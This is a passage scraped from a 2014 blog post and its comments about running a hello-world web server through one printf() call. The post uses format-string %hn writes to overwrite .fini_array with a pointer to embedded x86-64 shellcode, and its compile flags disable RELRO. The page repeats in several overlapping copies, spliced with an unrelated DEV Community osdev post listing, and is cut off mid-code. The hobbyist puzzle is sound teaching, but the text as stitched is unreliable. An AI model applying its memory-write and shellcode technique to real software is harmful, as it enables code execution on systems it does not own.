%edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # osdev Follow Hide Create Post Older #osdev posts 1 2 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu The Care and Feeding of Interrupt Handlers Florent Herisson Florent Herisson Florent Herisson Follow Jan 11 The Care and Feeding of Interrupt Handlers # osdev # programming # interrupts # lowlevel Comments Add Comment 5 min read Page Tables: A Love Story (It's Not) Florent Herisson Florent Herisson Florent Herisson Follow Jan 10 Page Tables: A Love Story (It's Not) # osdev # programming # virtualmemory # x86 Comments Add Comment 6 min read From Power-On to 'Oh No' Florent Herisson Florent Herisson Florent Herisson Follow Jan 9 From Power-On to 'Oh No' # osdev # programming # interrupts # lowlevel Comments Add Comment 6 min read IRQs and the Art of Not Crashing Florent Herisson Florent Herisson Florent Herisson Follow Jan 9 IRQs and the Art of Not Crashing # osdev # programming # interrupts # lowlevel Comments Add Comment 6 min read IRQs and the Art of Not Crashing Florent Herisson Florent Herisson Florent Herisson Follow Jan 9 IRQs and the Art of Not Crashing # osdev # programming # interrupts # lowlevel Comments Add Comment 6 min read Mastering interrupt handling in your kernel Václav Hajšman Václav Hajšman Václav Hajšman Follow Dec 24 '25 Mastering interrupt handling in your kernel # osdev # kernel # interrupt # irq Comments Add Comment 5 min read Orange cpplover0 cpplover0 cpplover0 Follow Dec 12 '25 Orange # osdev # programming # cpp # assembly 1 reaction Comments Add Comment 1 min read [Note] Osdev: Methods of Task Switching Phina Ren Phina Ren Phina Ren Follow Dec 7 '25 [Note] Osdev: Methods of Task Switching # osdev Comments Add Comment 2 min read Transitioning to Protected Mode in BeaconOS Raymond Mwaura Raymond Mwaura Raymond Mwaura Follow Nov 6 '25 Transitioning to Protected Mode in BeaconOS # beaconos # osdev # protectedmode # asm Comments Add Comment 5 min read Contributing to Ubuntu — Day 2.5: When I had to pause my journey ⏸️ Meet Gandhi Meet Gandhi Meet Gandhi Follow Nov 10 '25 Contributing to Ubuntu — Day 2.5: When I had to pause my journey ⏸️ # devjournal # studentlife # osdev 1 reaction Comments 4 comments 3 min read RustyBoot-RISCV - A bare metal Boot-loader in Rust Kushal_Meghani1644 Kushal_Meghani1644 Kushal_Meghani1644 Follow Sep 29 '25 RustyBoot-RISCV - A bare metal Boot-loader in Rust # osdev # bootloader # rust # programming Comments Add Comment 1 min read Enabling the A20 Line in BeaconOS Raymond Mwaura Raymond Mwaura Raymond Mwaura Follow Oct 29 '25 Enabling the A20 Line in BeaconOS # osdev # beaconos # a20line # asm 1 reaction Comments Add Comment 6 min read [pt-BR] Depurando um crash de use-after-free no meniOS Plínio Balduino Plínio Balduino Plínio Balduino Follow Oct 14 '25 [pt-BR] Depurando um crash de use-after-free no meniOS # operatingsystem # osdev # ptbr # opensource 3 reactions Comments Add Comment 6 min read How I made my own Operating System (OS) Uthsob Chakraborty Uthsob Chakraborty Uthsob Chakraborty Follow Oct 5 '25 How I made my own Operating System (OS) # c # assembly # osdev # os 3 reactions Comments Add Comment 7 min read Creating a boot-loader from scratch... Meet: RustyBoot! Kushal_Meghani1644 Kushal_Meghani1644 Kushal_Meghani1644 Follow Sep 16 '25 Creating a boot-loader from scratch... Meet: RustyBoot! # rust # systemsprogramming # bootloader # osdev Comments Add Comment 4 min read ACPI, and why I hate intel for making it ThatOSDeveloper ThatOSDeveloper ThatOSDeveloper Follow Aug 11 '25 ACPI, and why I hate intel for making it # osdev # kernel # acpi # intel Comments Add Comment 2 min read Dynamic Linking, and why I hate it and love it ThatOSDeveloper ThatOSDeveloper ThatOSDeveloper Follow Jul 10 '25 Dynamic Linking, and why I hate it and love it # elf # osdev # linking # kernel Comments Add Comment 1 min read Implementing stack traces and symbol lookup in my kernel: debugging without GDB Václav Hajšman Václav Hajšman Václav Hajšman Follow Jul 6 '25 Implementing stack traces and symbol lookup in my kernel: debugging without GDB # stacktrace # stack # debug # osdev Comments Add Comment 5 min read kmalloc() bugfix Václav Hajšman Václav Hajšman Václav Hajšman Follow Jul 6 '25 kmalloc() bugfix # kernel # osdev # malloc # c Comments Add Comment 1 min read Building a Security-First OS from Scratch: AtomicOS Journey Ignacio Peña Ignacio Peña Ignacio Peña Follow Jun 20 '25 Building a Security-First OS from Scratch: AtomicOS Journey # osdev # security # lowlevel # assembly Comments Add Comment 3 min read Ring 3, and why its a nightmare ThatOSDeveloper ThatOSDeveloper ThatOSDeveloper Follow Jul 11 '25 Ring 3, and why its a nightmare # osdev # kernel # assembly # c Comments Add Comment 3 min read Moving forward on stack trace and symbols Václav Hajšman Václav Hajšman Václav Hajšman Follow Jul 7 '25 Moving forward on stack trace and symbols # stacktrace # stack # debug # osdev 4 reactions Comments 3 comments 2 min read A delightful OS - The kernel sheosi sheosi sheosi Follow Sep 26 '24 A delightful OS - The kernel # osdev # linux Comments Add Comment 7 min read [pt-BR] Criando um sistema operacional (quase) do zero Plínio Balduino Plínio Balduino Plínio Balduino Follow Sep 20 '23 [pt-BR] Criando um sistema operacional (quase) do zero # operatingsystem # opensource # ptbr # osdev 7 reactions Comments 4 comments 1 min read Creating an Operating System: The Journey Ulises Viña Ulises Viña Ulises Viña Follow Sep 3 '22 Creating an Operating System: The Journey # programming # osdev # assembly # opensource 5 reactions Comments Add Comment 5 min read loading... trending guides/resources The Care and Feeding of Interrupt Handlers Orange IRQs and the Art of Not Crashing Mastering interrupt handling in your kernel IRQs and the Art of Not Crashing Transitioning to Protected Mode in BeaconOS From Power-On to 'Oh No' [Note] Osdev: Methods of Task Switching Page Tables: A Love Story (It's Not) 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23492#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long 